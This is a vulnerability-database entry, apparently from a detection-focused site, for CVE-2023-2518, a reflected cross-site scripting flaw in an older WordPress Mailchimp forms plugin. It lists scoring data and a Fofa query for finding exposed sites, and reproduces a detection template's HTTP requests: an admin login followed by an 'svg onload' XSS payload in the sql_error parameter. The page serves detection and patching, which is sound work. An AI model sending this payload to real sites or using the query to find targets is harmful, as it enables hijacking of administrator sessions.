🔙 목록으로 돌아가기

CVE-2023-2518: WordPress Easy Forms for Mailchimp Plugin < 6.8.9 - Cross-Site Scripting

TitleWordPress Easy Forms for Mailchimp Plugin < 6.8.9 - Cross-Site Scripting
Authorritikchaddha
SeverityMedium
ImpactAttackers can inject malicious JavaScript through the sql_error parameter when debug mode is enabled, potentially stealing administrator session cookies and gaining full control over the WordPress site.
RemediationUpdate Easy Forms for Mailchimp plugin to version 6.8.9 or later that properly sanitizes and escapes the sql_error parameter before output.
CVSS Score6.1
EPSS Score0.11445
CVE IDCVE-2023-2518
CWE IDCWE-79
Fofa Querybody="wp-content/plugins/yikes-inc-easy-mailchimp-extender/"
Tags cve cve2023 wp wordpress wp-plugin xss yikes-inc-easy-mailchimp-extender authenticated vuln

🔍 Vulnerability Description

The Easy Forms for Mailchimp plugin before version 6.8.9 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the sql_error parameter before outputting it back in the page when the debug option is enabled, which could allow attackers to execute arbitrary JavaScript code in an administrator’s browser context.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=wqtOqe&pwd=4yWkWK&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=yikes-mailchimp-edit-form&sql_error=%3Csvg%2Fonload%3Dalert%28document.domain%29%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2518.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-2518.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A